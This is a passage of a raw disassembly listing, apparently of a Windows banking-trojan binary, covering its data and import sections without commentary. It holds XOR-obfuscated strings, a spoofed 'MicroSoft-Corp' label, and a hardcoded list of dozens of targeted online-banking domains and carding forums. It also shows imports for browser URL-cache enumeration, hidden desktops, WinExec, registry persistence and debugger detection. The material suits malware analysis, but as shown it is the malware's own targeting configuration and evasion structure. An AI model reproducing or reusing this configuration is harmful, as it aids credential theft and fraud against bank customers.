52756048h, 524E5948h, 791C4859h, 53504C44h, 604E594Eh dd 52555D71h, 5D597A60h, 594E4948h, 4852537Fh, 6050534Eh dd 687D797Ah, 63796E69h, 7D7F7370h, 7F7D7170h, 79727574h dd 7F737063h, 6B737877h db 72h, 0 word_44711A dw 5945h ; DATA XREF: sub_405E88+1E1o db 4Fh, 0 aNskoyryklns_yo db '~NSKOYrYKlNS_YOO',0 ; DATA XREF: sub_405E88+1CFo byte_44712F db 12h ; DATA XREF: sub_405E88+1BDo dd 7D7A7978h, 60687069h, 687A736Fh, 796E7D6Bh, 5F557160h dd 534F534Eh, 6B60485Ah, 53585255h, 7F604F4Bh aInnyrhjynousrY db 'INNYRHjYNOUSR`yDLPSNYN`~NSKOYrYKlNS_YOO',0 dword_44717C dd 687A736Fh, 796E7D6Bh, 50536C60h, 59555F55h, 5571604Fh ; DATA XREF: sub_405E88+101o dd 4F534E5Fh, 60485A53h, 5852556Bh, 604F4B53h, 4E4E497Fh dd 6A485259h, 554F4E59h, 75605253h, 4E594852h, 1C485952h dd 4848596Fh, 4F5B5255h, 52536660h, 19604F59h db 49h, 0 word_4471CA dw 0A0Dh ; DATA XREF: sub_405E88+7Ao ; sub_405E88+B7o ... db 0Ch, 0Dh, 0 byte_4471CF db 6Fh ; DATA XREF: sub_405E88+54o dd 6B687A73h, 60796E7Dh, 4E5F5571h, 5A534F53h, 556B6048h dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh dd 48527560h, 59524E59h, 596F1C48h, 52554848h, 66604F5Bh dd 4F595253h, 491960h dword_447214 dd 48541300h, 25051hdword_44721C dd 535E1300h, 24558hdword_447224 dd 5F4F1300h, 484C554Eh db 2, 0 word_44722E dw 594Fh ; DATA XREF: sub_4054C8+84Ao dd 51556848h, 48495359h, 4F191E14h, 101E1514h, 7154919h db 0 byte_447245 db 41h, 0 ; DATA XREF: sub_4054C8+825o byte_447247 db 58h ; DATA XREF: sub_4054C8+7DBo dd 51495F53h, 12485259h, 4F124F19h, 55515E49h, 7151448h db 0 byte_44725D db 5Ah, 49h, 52h ; DATA XREF: sub_4054C8+79Bo dd 5355485Fh, 4F191C52h, 471514h dword_44726C dd 12195F19h db 0Eh, 49h, 0 byte_447273 db 0 ; DATA XREF: sub_4054C8+6F1o dd 554E5F4Fh, 2484Ch dword_44727C dd 535A1300h, 2514Ehdword_447284 dd 4C525500h, 481C4849h, 1594C45h, 5E494F1Eh, 1E485551h ; DATA XREF: sub_4054C8+6A8o dd 505D4A1Ch, 1B015949h db 1Bh, 2, 0 off_4472A3 dd offset loc_404F16+3 ; DATA XREF: sub_4054C8+565o byte_4472A7 db 0 ; DATA XREF: sub_4054C8+494o ; sub_4054C8+612o dd 494C5255h, 45481C48h, 1E01594Ch, 48555859h, 5D4A1C1Eh dd 1594950h, 1B4F191Bh, 515D521Ch, 191B0159h, 1B49194Fh dd 4E5E0002h, 363102h dword_4472D8 dd 4C525500h, 481C4849h, 1594C45h, 5558591Eh, 4A1C1E48h ; DATA XREF: sub_4054C8+326o dd 5949505Dh, 49191B01h, 5D521C1Bh, 1B015951h, 21B5Dh dd 31024E5Eh db 36h, 0 word_447306 dw 5A00h ; DATA XREF: sub_4054C8+2C9o dd 1C514E53h, 55485F5Dh, 1E015253h, 1C1E4F19h, 54485951h dd 1E015853h, 686F736Ch, 5D521C1Eh, 1E015951h, 21E4F19h db 0 byte_447331 db 5Ah, 19h, 12h ; DATA XREF: sub_4054C8+286o db 0Fh, 49h, 0 byte_447337 db 0 ; DATA XREF: sub_4054C8+250o dd 4558535Eh db 2, 0 word_44733E dw 1300h ; DATA XREF: sub_4054C8+224o dd 585D5954h db 2, 0 aMicrosoftCorp db 'MicroSoft-Corp',0 ; DATA XREF: sub_4054C8+1F8o ; sub_4061F7+350o byte_447355 db 0, 48h, 55h ; DATA XREF: sub_4054C8+1E8o dd 2595048h, 49194F19h, 55481300h, 2595048h db 0 byte_447369 db 0, 54h, 59h ; DATA XREF: sub_4054C8+1BFo dd 2585Dh dword_447370 dd 51485400h db 50h, 2, 0 byte_447377 db 12h ; DATA XREF: sub_4054C8+168o dd 514854h dword_44737C dd 5F194F19h ; sub_4054C8+412o db 19h, 5Fh, 0 byte_447383 db 16h ; DATA XREF: sub_40523D:loc_4052F5o db 12h, 16h, 0 byte_447387 db 3 ; DATA XREF: sub_40523D+4Do db 0 byte_447389 db 56h, 5Eh, 17h ; DATA XREF: sub_404EC6+15Eo db 0Eh, 0 word_44738E dw 175Eh ; DATA XREF: sub_404EC6+FAo db 0Eh, 0 word_447392 dw 34Bh ; DATA XREF: sub_404EC6+8Co dd 13494B5Eh, 494B5E03h, 4B5E0313h, 5E031349h, 313494Bh dd 13494B5Eh, 494B5E03h db 13h, 3, 0 byte_4473B3 db 28h ; DATA XREF: sub_404EC6+57o dd 0E175E56h db 56h, 0 aKsI_3 db 'Š™ÕÓØÂÓĈ',0 ; DATA XREF: sub_404D2E+95o aKI_0 db 'ŠÕÓØÂÓĈ',0 ; DATA XREF: sub_404D2E+5Do aKsI_2 db 'Š™ÐÙØÂˆ',0 ; DATA XREF: sub_404D2E+14o aKsI_1 db 'Š™Ãˆ',0 ; DATA XREF: sub_404B85+190o aKsI_0 db 'Š™Ôˆ',0 ; DATA XREF: sub_404B85+168o aKsI db 'Š™ßˆ',0 ; DATA XREF: sub_404B85+130o aKI_1 db 'Šßˆ',0 ; DATA XREF: sub_404B85+103o aKI_2 db 'ŠÃˆ',0 ; DATA XREF: sub_404B85+DBo aKI_3 db 'ŠÔˆ',0 ; DATA XREF: sub_404B85+99o aKI db 'ŠÔĈ',0 ; DATA XREF: sub_404B85+63o aIiic db '››ˆ–',0 ; DATA XREF: sub_40481B+200o aKciic db 'Š—››–',0 ; DATA XREF: sub_40481B+6Do asc_447400 db '»¼',0 ; DATA XREF: sub_40479E+64o ; sub_404D2E+DEo aSsuUU db '™™“Õ“Õ“Õ»¼',0 ; DATA XREF: sub_40470D+46o aCuUUClcuN db 'À×Ä–“Õ“Õ“Õ–‹–“Ã',0 ; DATA XREF: sub_4045EF+6Fo aCS db '–œ™',0 ; DATA XREF: sub_4045EF+39o aUU db '“Å“Õ',0 ; DATA XREF: sub_4045EF-31o ; sub_40481B+ABo ... aSC db '™œ–',0 ; DATA XREF: sub_404586+2o aBlind_user db 'blind_user',0 ; DATA XREF: sub_4043CA+65o ; sub_40446E+12o aSS db '¿éºµÙº¿é',0 ; DATA XREF: sub_4040AA+247o dword_447440 dd 0F5F5F6A0h, 0DA9097EAh, 0BAF6FFFEh, 0F4A4E9BFh, 9097F6EFh ; DATA XREF: sub_4040AA+1D4o dd 0BAFCF3DAh, 0E9F3E2FFh, 0E9BFBAEEh, 0EEF5FDBAh, 0F5F6BAF5h dd 9097EAF5h, 0F6FFFEDAh, 0A4E9BFBAh, 97F6EFF4h db 90h, 0 word_44747A dw 0F9C6h ; DATA XREF: sub_4040AA+16Fo dd 0FBF7F7F5h, 0F9B4FEF4h db 0F5h, 0F7h, 0 byte_447487 db 0BFh ; DATA XREF: sub_4040AA+13Co dd 0F5F9C6E9h, 0F4FBF7F7h, 0F3EAB4FEh db 0FCh, 0 word_447496 dw 0E9BFh ; DATA XREF: sub_4040AA+117o dd 0F6E9E2C6h, 0A3F6FEFCh, 0FBF8B4E2h db 0EEh, 0 word_4474A6 dw 0F9C6h ; DATA XREF: sub_4040AA+DBo dd 0FFB4FEF7h db 0E2h, 0FFh, 0 byte_4474AF db 0BFh ; DATA XREF: sub_4040AA+BBo dd 0F7F9C6E9h, 0F3EAB4FEh db 0FCh, 0 word_4474BA dw 0E9BFh ; DATA XREF: sub_4040AA+9Bo dd 0F6E9E2C6h, 0F4F6FEFCh, 0FBF8B4EEh db 0EEh, 0 aKNoLEfLKNeoOke db 'ж¿®¸«¼…”°º«¶ª¶¿…ް·½¶®ª…𬫫¼·¼«ª°¶·…б¼µµŠ¼«¯°º¼–»³¼º¼µ¸ ' ; DATA XREF: sub_403BE7+332o db '•¶¸½',0 aSiLnN db '˜©¸«´¼·',0 ; DATA XREF: sub_403BE7+30Do aNLF db '±«¼¸½°·¾”¶½¼µ',0 ; DATA XREF: sub_403BE7+2FBo byte_447529 db 0 ; DATA XREF: sub_403BE7+2DEo ; sub_405E88+317o ... word_44752A dw 959Ah ; DATA XREF: sub_403BE7+2B4o dd 859D908Ah, 9085AAFCh, 0B6AB89B7h, 0ABBC8ABAh, 0EAABBCAFh db 0EBh, 0 word_447542 dw 0AAFCh ; DATA XREF: sub_403BE7+210o dd 0F7AAFC85h, 0B5B5BDh dword_44754C dd 0EDE9FCA2h, 0EDE9FC81h, 0E9FCF481h, 0FCF481EDh, 0F481EDE9h ; DATA XREF: sub_403BE7+2Bo dd 81EDE9FCh, 0EDE9FCF4h, 2 dup(0EDE9FC81h) db 81h, 0A4h, 0 byte_447573 db 0F9h ; DATA XREF: sub_403A5F+130o db 0 byte_447575 db 0FCh, 0AAh, 85h ; DATA XREF: sub_403A5F+53o dd 0BCF7AAFCh db 0A1h, 0BCh, 0 byte_44757F db 0FCh ; DATA XREF: sub_40399B+7Do dd 81E1E9h aVgu: ; DATA XREF: sub_4037CA+32o ; .text:00403896o ... unicode 0, <Vƒã> aXs db '•é',0 ; DATA XREF: sub_40341E+32o ; sub_40349A+3Fo aChevychasebank db 'chevychasebank.com',0 ; DATA XREF: .data:0043C1E0o aGronxplanets_r db 'gronxplanets.ru',0 ; DATA XREF: .data:0043C1DCo aWww_mdmbank_ru db 'www.mdmbank.ru',0 ; DATA XREF: .data:0043C1D8o aFethard_biz db 'fethard.biz',0 ; DATA XREF: .data:0043C1D4o aRoyalbank_com db 'royalbank.com',0 ; DATA XREF: .data:0043C1D0o aSecuritylab_ru db 'securitylab.ru',0 ; DATA XREF: .data:0043C1CCo aTatNeftbank_ru db 'tat-neftbank.ru',0 ; DATA XREF: .data:0043C1C8o aSeclab_ru db 'seclab.ru',0 ; DATA XREF: .data:0043C1C4o aOpenbank_com db 'openbank.com',0 ; DATA XREF: .data:0043C1C0o aGutabank_ru db 'gutabank.ru',0 ; DATA XREF: .data:0043C1BCo aWww_b2bTrust_c db 'www.b2b-trust.com',0 ; DATA XREF: .data:0043C1B8o aGrepwareFacili db 'grepware-facility.ru',0 ; DATA XREF: .data:0043C1B4o aWww_uralsib_ru db 'www.uralsib.ru',0 ; DATA XREF: .data:0043C1B0o a53bank_com db '53bank.com',0 ; DATA XREF: .data:0043C1ACo aWww_nbc_caInde db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0043C1A8o aTotallyfreeban db 'totallyfreebanking.com',0 ; DATA XREF: .data:0043C1A4o aBarclays_com db 'barclays.com',0 ; DATA XREF: .data:0043C1A0o aWww_lbcdirect_ db 'www.lbcdirect.laurentianbank.ca/index.php',0 ; DATA XREF: .data:0043C19Co aKidosBank_ru db 'kidos-bank.ru',0 ; DATA XREF: .data:0043C198o aYambo_biz db 'yambo.biz',0 ; DATA XREF: .data:0043C194o aProrat_net db 'prorat.net',0 ; DATA XREF: .data:0043C190o aWww1_hsbc_caIn db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0043C18Co aWww_ovk_ru db 'www.ovk.ru',0 ; DATA XREF: .data:0043C188o aWww_rbc_com db 'www.rbc.com',0 ; DATA XREF: .data:0043C184o aMasterX_comFor db 'master-x.com/forum/',0 ; DATA XREF: .data:0043C180o aWww_allahabadb db 'www.allahabadbank.com',0 ; DATA XREF: .data:0043C17Co aOnlineBusiness db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0043C178o aMyonlineaccoun db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0043C174o aWww_absolutban db 'www.absolutbank.ru',0 ; DATA XREF: .data:0043C170o aKavkazcenter_c db 'kavkazcenter.com/russ',0 ; DATA XREF: .data:0043C16Co aWww_netmagiste db 'www.netmagister.com',0 ; DATA XREF: .data:0043C168o aWww_kmb_ru db 'www.kmb.ru',0 ; DATA XREF: .data:0043C164o aWww_spyinstruc db 'www.spyinstructors.com',0 ; DATA XREF: .data:0043C160o aAcroleinHawk_r db 'acrolein-hawk.rubanking.halifax-online.co.uk',0 ; DATA XREF: .data:0043C15Co aWww_icbank_ru db 'www.icbank.ru',0 ; DATA XREF: .data:0043C158o aWww_bankofindi db 'www.bankofindia.com',0 ; DATA XREF: .data:0043C154o aPizdabolInc_ru db 'pizdabol-inc.ru',0 ; DATA XREF: .data:0043C150o aWww_sbrf_ru db 'www.sbrf.ru',0 ; DATA XREF: .data:0043C14Co aWww_candidatev db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0043C148o aWww_worldbank_ db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0043C144o aDigitalRelaxkg db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0043C140o aAsmworm_com db 'asmworm.com',0 ; DATA XREF: .data:0043C138o aAtmacasoft_com db 'atmacasoft.com',0 ; DATA XREF: .data:0043C134o aCrutop_nuVbu_1 db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0043C130o aWww_uniastrum_ db 'www.uniastrum.ru',0 ; DATA XREF: .data:0043C12Co aCrutop_nuVbu_0 db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0043C128o aWww_mmbank_ru db 'www.mmbank.ru',0 ; DATA XREF: .data:0043C124o aCrutop_nuVbull db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0043C120o aAlfabank_ru db 'alfabank.ru',0 ; DATA XREF: .data:0043C11Co aHyperSpaceFuel db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0043C118o aWww_cwbank_com db 'www.cwbank.com',0 ; DATA XREF: .data:0043C114o aWww_vtb_ru db 'www.vtb.ru',0 ; DATA XREF: .data:0043C110o aWww_cibc_com db 'www.cibc.com',0 ; DATA XREF: .data:0043C10Co aWww_bankofmadu db 'www.bankofmadura.com',0 ; DATA XREF: .data:0043C108o aWww_bmo_com db 'www.bmo.com',0 ; DATA XREF: .data:0043C104o aWww_bankBanque db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0043C100o aWww_masterbank db 'www.masterbank.ru',0 ; DATA XREF: .data:0043C0FCo aEbookfinaltras db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0043C0F8o aMasterX_com db 'master-x.com',0 ; DATA XREF: .data:0043C0F4o aWww_bbin_ru db 'www.bbin.ru',0 ; DATA XREF: .data:0043C0F0o aOlb2_nationet_ db 'olb2.nationet.com',0 ; DATA XREF: .data:0043C0ECo aWelcome3_smile db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0043C0E8o aWww_baltbank_r db 'www.baltbank.ru',0 ; DATA XREF: .data:0043C0E4o aNew_egg_com db 'new.egg.com',0 ; DATA XREF: .data:0043C0E0o aProdexteam_n_1 db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0043C0DCo aWww_proxySocks db 'www.proxy-socks.net',0 ; DATA XREF: .data:0043C0D8o ; .data:0043C13Co aWww_cbr_ru db 'www.cbr.ru',0 ; DATA XREF: .data:0043C0D4o aProdexteam_n_0 db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0043C0D0o aProdexteam_net db 'prodexteam.net',0 ; DATA XREF: .data:0043C0CCo aChechenpress_i db 'chechenpress.info',0 ; DATA XREF: .data:0043C0C8o aSiliconfirewar db 'siliconfireware.ru',0 ; DATA XREF: .data:off_43C0C4o db '://',0 align 4 dword_447ACC dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_447ADC dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_406D2E+92Do dword_447AEC dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_447AFC dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_447B0C dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_447B1C dd 2 dup(0) dd 0C0h, 46000000h dword_447B2C dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_447B3C dd 10h dup(0) ; sub_40BCDC:loc_40BCF6o ... dword_447B7C dd 0 ; sub_40BC80:loc_40BCC2o ... dd 0Fh dup(0) dword_447BBC dd 0 ; sub_40BDE5+825r dword_447BC0 dd 0 ; sub_40BDE5+82Cr dword_447BC4 dd 0 ; sub_40BDE5+834r dword_447BC8 dd 0 ; sub_40BDE5+83Cr align 800h _data ends ; Section 4. (virtual address 00048000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00048000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 448000h off_448000 dd offset dword_44810C ; DATA XREF: .idata:00448E00o dd 2 dup(0) dd offset dword_44810C dd offset dword_44810C off_448014 dd offset dword_44811C ; DATA XREF: .idata:00448E10o ; .idata:00448E14o align 10h dd offset dword_44811C dd offset dword_44811C off_448028 dd offset dword_448134 ; DATA XREF: .idata:00448E24o ; .idata:00448E28o ... dd 2 dup(0) dd offset dword_448134 dd offset dword_448134 off_44803C dd offset dword_448214 ; DATA XREF: .idata:00448E44o ; .idata:00448E48o ... dd 2 dup(0) dd offset dword_448214 dd offset dword_448214 off_448050 dd offset dword_448290 ; DATA XREF: .idata:00448F28o ; .idata:00448F2Co ... dd 2 dup(0) dd offset dword_448290 dd offset dword_448290 off_448064 dd offset dword_4482AC ; DATA XREF: .idata:00448FA8o ; .idata:00448FACo ... align 10h dd offset dword_4482AC dd offset dword_4482AC off_448078 dd offset dword_4482E8 ; DATA XREF: .idata:00448FCCo ; .idata:00448FD0o ... dd 2 dup(0) dd offset dword_4482E8 dd offset dword_4482E8 off_44808C dd offset dword_448338 ; DATA XREF: .idata:0044900Co ; .idata:00449010o ... dd 2 dup(0) dd offset dword_448338 dd offset dword_448338 dd 1Ah dup(0) dd 48574h dword_44810C dd 2 dup(0) ; .idata:0044800Co ... dd 48588h, 485A4h dword_44811C dd 2 dup(0) ; .idata:00448020o ... dd 485C0h, 485D4h, 485E8h, 485F8h dword_448134 dd 2 dup(0) ; .idata:00448034o ... dd 4860Ch, 4861Ch, 4862Ch, 48648h, 4865Ch, 48674h, 4868Ch dd 4869Ch, 486ACh, 486BCh, 486D4h, 486E8h, 486FCh, 48710h dd 48728h, 48738h, 48748h, 48758h, 48768h, 48778h, 48790h dd 487A8h, 487BCh, 487D0h, 487E4h, 487FCh, 48814h, 48824h dd 48834h, 48848h, 48858h, 48864h, 48874h, 48880h, 48890h dd 488A0h, 488ACh, 488B8h, 488C8h, 488D8h, 488ECh, 488FCh dd 48904h, 48918h, 48928h, 48938h, 48948h, 48960h, 4896Ch dd 48978h, 48988h, 48994h, 489A0h, 489B4h dword_448214 dd 2 dup(0) ; .idata:00448048o ... dd 489C4h, 489D8h, 489ECh, 489FCh, 48A0Ch, 48A18h, 48A28h dd 48A34h, 48A4Ch, 48A5Ch, 48A68h, 48A74h, 48A84h, 48A94h dd 48AA8h, 48ABCh, 48AD0h, 48AE4h, 48AF8h, 48B0Ch, 48B20h dd 48B2Ch, 48B3Ch, 48B50h, 48B64h, 48B74h, 48B88h, 48B98h dd 48BA8h dword_448290 dd 2 dup(0) ; .idata:0044805Co ... dd 48BBCh, 48BD0h, 48BE0h, 48BF0h, 48C08h dword_4482AC dd 2 dup(0) ; .idata:00448070o ... dd 48C18h, 48C2Ch, 48C44h, 48C58h, 48C68h, 48C78h, 48C8Ch dd 48CA0h, 48CB4h, 48CC8h, 48CDCh, 48CF8h, 48D10h dword_4482E8 dd 2 dup(0) ; .idata:00448084o ... dd 48D2Ch, 48D34h, 48D44h, 48D50h, 48D5Ch, 48D64h, 48D6Ch dd 48D78h, 48D84h, 48D90h, 48D98h, 48DA0h, 48DACh, 48DB8h dd 48DC0h, 48DCCh, 48DD8h, 48DE4h dword_448338 dd 2 dup(0) ; .idata:00448098o ... dword_448340 dd 77124C05h dd 2 dup(0) dword_44834C dd 42C2DE3Dh ; resolved to->WININET.FindFirstUrlCacheEntryAdword_448350 dd 42C2E399h ; resolved to->WININET.FindNextUrlCacheEntryA dd 2 dup(0) dword_44835C dd 774FFAC3h dword_448360 dd 7750CB9Ch dword_448364 dd 77502A37h dword_448368 dd 774FEE36h dd 2 dup(0) dword_448374 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileAdword_448378 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_44837C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_448380 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_448384 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_448388 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_44838C dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_448390 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_448394 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_448398 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_44839C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4483A0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4483A4 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeapdword_4483A8 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4483AC dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_4483B0 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_4483B4 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_4483B8 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4483BC dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_4483C0 dd 7C821BA5h ; resolved to->KERNEL32.GetVolumeInformationAdword_4483C4 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_4483C8 dd 7C8360A9h ; resolved to->KERNEL32.GlobalAddAtomAdword_4483CC dd 7C830BBBh ; resolved to->KERNEL32.GlobalDeleteAtomdword_4483D0 dd 7C8360C3h ; resolved to->KERNEL32.GlobalFindAtomAdword_4483D4 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4483D8 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_4483DC dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_4483E0 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_4483E4 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_4483E8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_4483EC dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_4483F0 dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_4483F4 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4483F8 dd 7C80EA1Bh ; resolved to->KERNEL32.OpenMutexAdword_4483FC dd 7C8309E1h ; resolved to->KERNEL32.OpenProcessdword_448400 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_448404 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_448408 dd 7C90311Bh ; resolved to->NTDLL.RtlZeroMemorydword_44840C dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_448410 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_448414 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_448418 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_44841C dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_448420 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_448424 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_448428 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_44842C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_448430 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_448434 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_448438 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_44843C dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_448440 dd 7C809A09h ; resolved to->KERNEL32.lstrlenWdword_448444 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_448448 dd 7C810637h ; resolved to->KERNEL32.CreateThread dd 2 dup(0) dword_448454 dd 7E41F642h ; resolved to->USER32.CallWindowProcAdword_448458 dd 7E43212Bh ; resolved to->USER32.GetWindowTextAdword_44845C dd 7E41B6D4h ; resolved to->USER32.GetWindowRectdword_448460 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_448464 dd 7E41BC7Dh ; resolved to->USER32.GetWindowdword_448468 dd 7E42F420h ; resolved to->USER32.GetClassNameAdword_44846C dd 7E41DA60h ; resolved to->USER32.SetFocusdword_448470 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_448474 dd 7E41EF69h ; resolved to->USER32.LoadCursorAdword_448478 dd 7E418C2Eh ; resolved to->USER32.SetTimerdword_44847C dd 7E4208CEh ; resolved to->USER32.LoadIconAdword_448480 dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_448484 dd 7E42E002h ; resolved to->USER32.GetMessageAdword_448488 dd 7E41945Dh ; resolved to->USER32.GetWindowLongAdword_44848C dd 7E41D60Dh ; resolved to->USER32.SetWindowLongAdword_448490 dd 7E455BD7h ; resolved to->USER32.CreateDesktopAdword_448494 dd 7E42E8D1h ; resolved to->USER32.SetThreadDesktopdword_448498 dd 7E419A51h ; resolved to->USER32.GetThreadDesktopdword_44849C dd 7E418BF6h ; resolved to->USER32.TranslateMessagedword_4484A0 dd 7E4196B8h ; resolved to->USER32.DispatchMessageAdword_4484A4 dd 7E41A8ADh ; resolved to->USER32.wsprintfAdword_4484A8 dd 7E42F383h ; resolved to->USER32.SendMessageAdword_4484AC dd 7E420A36h ; resolved to->USER32.RegisterClassAdword_4484B0 dd 7E42E1D1h ; resolved to->USER32.PostQuitMessagedword_4484B4 dd 7E41D8A4h ; resolved to->USER32.ShowWindowdword_4484B8 dd 7E41FF33h ; resolved to->USER32.CreateWindowExAdword_4484BC dd 7E41DAEAh ; resolved to->USER32.DestroyWindowdword_4484C0 dd 7E41DBECh ; resolved to->USER32.MoveWindowdword_4484C4 dd 7E41D4EEh ; resolved to->USER32.DefWindowProcA align 10h dword_4484D0 dd 77F161D1h ; resolved to->GDI32.GetStockObjectdword_4484D4 dd 77F15E39h ; resolved to->GDI32.SetBkColordword_4484D8 dd 77F15D87h ; resolved to->GDI32.SetTextColordword_4484DC dd 77F1D991h ; resolved to->GDI32.CreateBrushIndirectdword_4484E0 dd 77F3B730h ; resolved to->GDI32.CreateFontA dd 2 dup(0) dword_4484EC dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessTokendword_4484F0 dd 77DD7B76h ; resolved to->ADVAPI32.GetTokenInformationdword_4484F4 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_4484F8 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_4484FC dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_448500 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_448504 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_448508 dd 77DF08D5h ; resolved to->ADVAPI32.GetSecurityInfodword_44850C dd 77DF087Fh ; resolved to->ADVAPI32.SetSecurityInfodword_448510 dd 77E215D9h ; resolved to->ADVAPI32.SetEntriesInAclAdword_448514 dd 77DFD4B0h ; resolved to->ADVAPI32.GetSidIdentifierAuthoritydword_448518 dd 77DF9839h ; resolved to->ADVAPI32.GetSidSubAuthoritydword_44851C dd 77DF986Bh ; resolved to->ADVAPI32.GetSidSubAuthorityCount dd 2 dup(0) dword_448528 dd 73D96FEBh dword_44852C dd 73D91C28h dword_448530 dd 73D92B86h dword_448534 dd 73D9A3B0h dword_448538 dd 73D9B9A2h dword_44853C dd 73D91F60h dword_448540 dd 73D9D320h dword_448544 dd 73D9D340h dword_448548 dd 73D9D5E0h dword_44854C dd 73D9242Ch dword_448550 dd 73D9DBAFh dword_448554 dd 73D92226h dword_448558 dd 73D9E5C5h dword_44855C dd 73D9DBA2h dword_448560 dd 73D9E61Eh dword_448564 dd 73D9E65Ch dword_448568 dd 73D9E69Ch dword_44856C dd 73D9F24Ch dd 0 dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0 dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch dd 6E456568h, 41797274h, 0 dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h dd 696C6169h, 657Ah, 6F43005Bh, 6E696E55h, 61697469h, 657A696Ch dd 0 dd 6544006Bh, 6574656Ch, 656C6946h, 41h, 7845009Bh, 72507469h dd 7365636Fh, 73h, 7845009Dh, 646E6170h, 69766E45h, 6D6E6F72h dd 53746E65h, 6E697274h, 417367h, 654700EDh, 6D6F4374h dd 646E616Dh, 656E694Ch, 41h, 65470112h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 65470115h, 72754374h, 746E6572h dd 65726854h, 64496461h, 0 dd 6547012Fh, 6C694674h, 7A695365h, 65h, 65470131h, 6C694674h dd 6D695465h, 65h, 6547013Ch, 73614C74h, 72724574h, 726Fh dd 65470147h, 